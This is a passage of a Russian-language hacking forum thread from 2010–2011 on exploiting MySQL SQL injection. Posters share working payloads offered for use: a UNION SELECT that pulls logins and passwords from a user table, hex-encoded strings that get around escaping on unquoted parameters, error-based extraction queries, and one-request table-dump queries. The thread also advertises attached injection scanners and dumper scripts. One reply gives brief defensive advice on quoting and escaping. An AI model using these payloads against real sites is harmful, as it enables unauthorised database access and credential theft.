Старый 26.08.2010, 17:02   #11
Dr.Frank
 
Регистрация: 02.08.2010
Сообщений: 4
Репутация: 0
По умолчанию

+ в добавление к статье: если версия МуСкула 4.* и есть доступ к БД mysql(аля root), но "нет прав на запись файлов"/"нет или не найдена директория с нужными правами"/"mysql хостится на другом серваке, доступном только из локалки" можно попробовать вытащить имена Баз Данных из таблицы `mysql.db` а имена таблиц и колонок из `mysql.tables_priv` и `mysql.columns_priv`
Dr.Frank вне форума   Ответить с цитированием
Старый 28.08.2010, 01:41   #12
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Цитата:
Еще один раскрутчик SQl иньекций. Здесь пытался реализовать все что знаю (на январь 2009, так что сейчас он может быть морально устарел)

Что умеет?
- Да собственно скрипт проверяет переданный ему линк на скуль иньекты. Как? Очень просто скрипт использует BENCHMARK для того чтобы определить наличие SQL иньекта.
- После того как скуль иньект обнаружен скрипт определяет количество полей, выводимое поле, и если версия мускуля пятая выводит дамп information_schema.
- Умеет обходить фильтрацию кавычек, пробелов, пары ключевых слов, чего там еще... да собственно вроде все.

Вкратце это все... Конечно супер извращенную скулю он не раскрутит, но по идее должен хотябы показать ее наличие.

Юзаем его так:
script.php?link=http://test.ru/news.php?id=1
Вроде я его фиксил на работу со SLEEP вместо бенчмарка если это доступно. Но чесно говоря не помню.
Выкладываю только по просьбам юзеров, в дальнейшем фиксить баги и поддерживать его стабильную работу я не собираюсь.
Вложения
Тип файла: rar test_link.rar (5.8 Кб, 811 просмотров)
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 02.09.2010, 16:28   #13
MotoR
 
Аватар для MotoR
 
Регистрация: 02.09.2010
Сообщений: 12
Репутация: 2
По умолчанию

Цитата:
Сообщение от Qwazar Посмотреть сообщение
Оба случая не помогут от запроса вида mysql_query("select * from news where id=".$_GET['id']), где параметр в запросе не обрамляется кавычками.
Можно подробнее, как это обходится?
MotoR вне форума   Ответить с цитированием
Старый 02.09.2010, 17:08   #14
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Цитата:
Можно подробнее, как это обходится?
Как я понимаю ты имеешь ввиду как защитится в этом случае? Элементарно - обрамляй значения в запросе кавычками и юзай mysql_real_escape_string(), а можно попробывать intval(), но это только если входящий параметр - числовой, тогда и кавычками обрамлять не надо.

*Офтоп: Кто посмел переименовать мою тему?!! =)
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 02.09.2010, 17:18   #15
MotoR
 
Аватар для MotoR
 
Регистрация: 02.09.2010
Сообщений: 12
Репутация: 2
По умолчанию

Dr.Z3r0, нет я имел ввиду именно как это можно обойти, т.е. как обойти функцию mysql_real_escape_string() в данном случае (когда параметр в запросе без кавычек) и произвести sqli.
Про защиту мне более менее известно

ответ на пост ниже:
Dr.Z3r0, понял спасибо!
MotoR вне форума   Ответить с цитированием
Старый 02.09.2010, 17:30   #16
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Цитата:
Dr.Z3r0, нет я имел ввиду именно как это можно обойти, т.е. как обойти функцию mysql_real_escape_string() в данном случае (когда параметр в запросе без кавычек) и произвести sqli.
Про защиту мне более менее известно
Опять же эементарно. В вашей иньекции просто не использовать кавычки, а юзать альтернативный синтаксис, пример:
Код:
http://site.com/news.php?id=2 UNION SELECT 1,2,login,password,5,6 FROM user WHERE login=0x61646D696E
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 15.11.2010, 01:58   #17
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Модифицировал 3.1 Вывод в отчете об ошибках. Дада - я не забил на статью а постоянно ее обновляю ^^

Цитата:
Сообщение от Dr.Z3r0
Собственно вариант предложенный Qwazar-ом и Cr0w в дебрях указанного выше топика:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR QUERY], 1, 63), FLOOR(RAND(0)*2))
Недавно решил его немного рихтануть в сторону уменьшения и упрощения запроса, в итоге получился такой запрос:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID([YOUR QUERY], FLOOR(RAND(0)*2), 64)
Теперь не выводится результат выполнения команды FLOOR(RAND(0)*2) в текст ошибки, и соответственно можно выдирать из базы 64 символа, а не 63, как это было в старом варианте.
Не уверен что это супер открытие, но будет полезно, в любом случае.
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 06.09.2011, 04:34   #18
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Продолжаем апдейтить статью =) Недавно потребовалось дампить таблицу с 1 милионом записей через скулю. Было перелопаченно множество инфы, написан эксплойт под один из методов, и заодно я решил добавить описание всех известных методов в статью.

Цитата:
4.ВЫВОД В ОДНУ СТРОКУ.

Довольно часто встречаются иньекции, когда данные из таблицы выводятся по одной записи. И приходится делать кучу запросов для того чтобы получить всю таблицу. Здесь же будут приведенны способы уменьшить количество запросов для получения таблицы или вовсе свести их к одному запросу. На данный момент публике известны только три способа...
Приатаченные файлы (см. подробнее в статье):
benchmark_helper.txt - Генерирует SQL запрос для вывода всей таблицы в одну строку с помощью Benchmark
group_dumper.txt - Дампер через GROUP_CONCAT, универсальный
group_dumper_id.txt - Дампер через GROUP_CONCAT для таблиц с столбцом уникальных числовых индетификаторов
Для двух последних создайте папку tmp рядом со скриптами с правами на запись.
Вложения
Тип файла: txt group_dumper.txt (10.1 Кб, 928 просмотров)
Тип файла: txt group_dumper_id.txt (12.4 Кб, 816 просмотров)
Тип файла: txt benchmark_helper.txt (3.3 Кб, 915 просмотров)
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 06.09.2011, 13:14   #19
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

4 метода. И четвертый не ограничивает в размере выводимых данных параметром group_concat_max_len.
https://rdot.org/forum/showthread.php?t=1170

Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM {TABLE_NAME} WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))r
и с лимитом
Код:
SELECT @p FROM (SELECT @p:=null,(SELECT COUNT(*) FROM (SELECT * FROM {TABLE_NAME} LIMIT {S},{N})r WHERE (@p:=concat_ws(0x2c,@p,{COLUMN_NAME}))>0))o
Тоже добавлено ( см. 4.3 Неявный цикл в условии (?) ).

Предложенный Dr.Z3r0 запрос я немного доработал (еще короче и без последнего лишнего символа)
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE_NAME} WHERE @p:=CONCAT(@p,0x2C,{COLUMN_NAME})),@p),5)
profexer вне форума   Ответить с цитированием
Старый 06.09.2011, 16:47   #20
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Цитата:
4 метода.
все таки три метода остальные это всего лишь их незначительные модификации
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE_NAME} WHERE @p:=CONCAT(@p,0x2C,{COLUMN_NAME})),@p),5)
ну хм или так =) ща добавлю в статью.
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Ответ

Метки
иньекция, мускул, injection, mysql, sql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot